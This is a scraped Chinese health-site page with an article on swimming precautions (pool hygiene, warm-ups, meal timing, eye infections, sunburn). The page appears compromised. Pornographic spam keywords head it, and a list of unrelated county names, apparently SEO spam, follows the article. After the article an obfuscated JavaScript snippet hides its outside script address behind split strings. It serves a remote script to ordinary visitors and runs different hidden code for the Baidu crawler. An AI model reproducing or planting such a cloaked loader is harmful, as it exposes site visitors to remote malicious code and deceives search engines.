亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 健康 > 運動健身 > 正文

游泳時應注意的事項有哪些?

2017-04-14 17:18:14  來源:360常識網(wǎng)   熱度:
導語:現(xiàn)在很多人都為了度過這個炎熱的夏季,都會選擇在一定的時間點去游泳,不僅清涼解暑,也是全家人的娛樂項目。但是,很多因為游泳而不注意的

現(xiàn)在很多人都為了度過這個炎熱的夏季,都會選擇在一定的時間點去游泳,不僅清涼解暑,也是全家人的娛樂項目。但是,很多因為游泳而不注意的一些問題,引起身體的不適或者是溺水。所以,對于了解游泳的一些注意事項還有禁忌就顯得很重要。

游泳前的注意事項

1、選擇游泳池

在游泳前首先要確定游泳池的衛(wèi)生條件、游泳池的安全設(shè)施是否達到要求,由于游泳池是一個對外開放的地方,因此消毒、殺菌、衛(wèi)生條件等尤為重要。其次正規(guī)的游泳池還應該有相應的安全設(shè)施。

2、游泳前的準備

游泳前最好先做熱身運動,適當做一些舒緩的運動,一方面可增強肌肉的協(xié)調(diào)性,一方面也有助于下水后出現(xiàn)抽筋等問題;游泳前還要準備好相應的游泳設(shè)備,如游泳帽子、游泳衣、防水眼鏡、防水耳罩、對于初學者還應該準備好游泳圈。

3、游泳的時機

一般情況下不建議在空腹的情況下游泳,因為游泳本身是一種很消耗體力的運動的,如果空腹游泳的話,可能會在游泳的過程中發(fā)生體力不支的問題,此外也盡量不要在剛吃完飯后游泳,否則容易影響個人的消化功能,甚至還有可能出現(xiàn)嘔吐、胃痙攣等問題。

游泳中要預防的疾病

據(jù)統(tǒng)計每年6、7月份是紅眼病高發(fā)的季節(jié),這和人們喜歡到公共場所游泳有著直接的關(guān)系,建議在游泳中一定要準備好個人的浴品,盡量減少與他人同用一套浴品,此外在游泳過程中一定不要用手去直接接觸眼睛、最好是帶上眼鏡。游泳中還要注意預防耳朵入水。

游泳中的注意事項

1、忌劇烈運動后游泳

劇烈運動后馬上游泳,會使心臟加重負擔;體溫的急劇下降,會抵抗力減弱,引起感冒、咽喉炎等。

2、忌長時間曝曬游泳

長時間曝曬會產(chǎn)生曬斑,或引起急性皮炎,亦稱日光灼傷。為防止曬斑的發(fā)生,上岸后最好用傘遮陽,或到有樹陰的地方休息,或用浴巾在身上保護皮膚,或在身體裸露處涂防曬霜。

3、忌不做準備活動即游泳

水溫通常總比體溫低,因此,下水前必須做準備活動,否則易導致身體不適感。

4、忌游泳后馬上進食

游泳后宜休息片刻再進食,否則會突然增加胃腸的負擔,久之容易引起胃腸道疾病。

5、忌月經(jīng)期游泳

月經(jīng)期間游泳,病菌易進入子宮、輸卵管等處,引起感染,導致月經(jīng)不調(diào)、經(jīng)量過多、經(jīng)期延長。

由此我們知道,游泳需要注意以上的一些常識,通過游泳,可以讓人感受到一陣清涼,緩解壓力,有利于身心健康。但是,切記要遵守這些需要注意的東西,有備無患。小孩在游泳時需要注意要有家長的陪同,在游泳前應該先活絡(luò)筋骨,以防發(fā)生抽筋的現(xiàn)象。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
北流市| 南漳县| 乐业县| 文山县| 庆城县| 子洲县| 永寿县| 曲阜市| 霍林郭勒市| 乐至县| 吴川市| 柘荣县| 四子王旗| 临泉县| 双柏县| 于都县| 贵定县| 固镇县| 改则县| 四平市| 湘乡市| 昂仁县| 河间市| 颍上县| 藁城市| 开江县| 普洱| 股票| 宿迁市| 平原县| 安阳市| 保靖县| 芒康县| 贵南县| 金昌市| 台北县| 吉木乃县| 泊头市| 黄龙县| 永登县| 五指山市|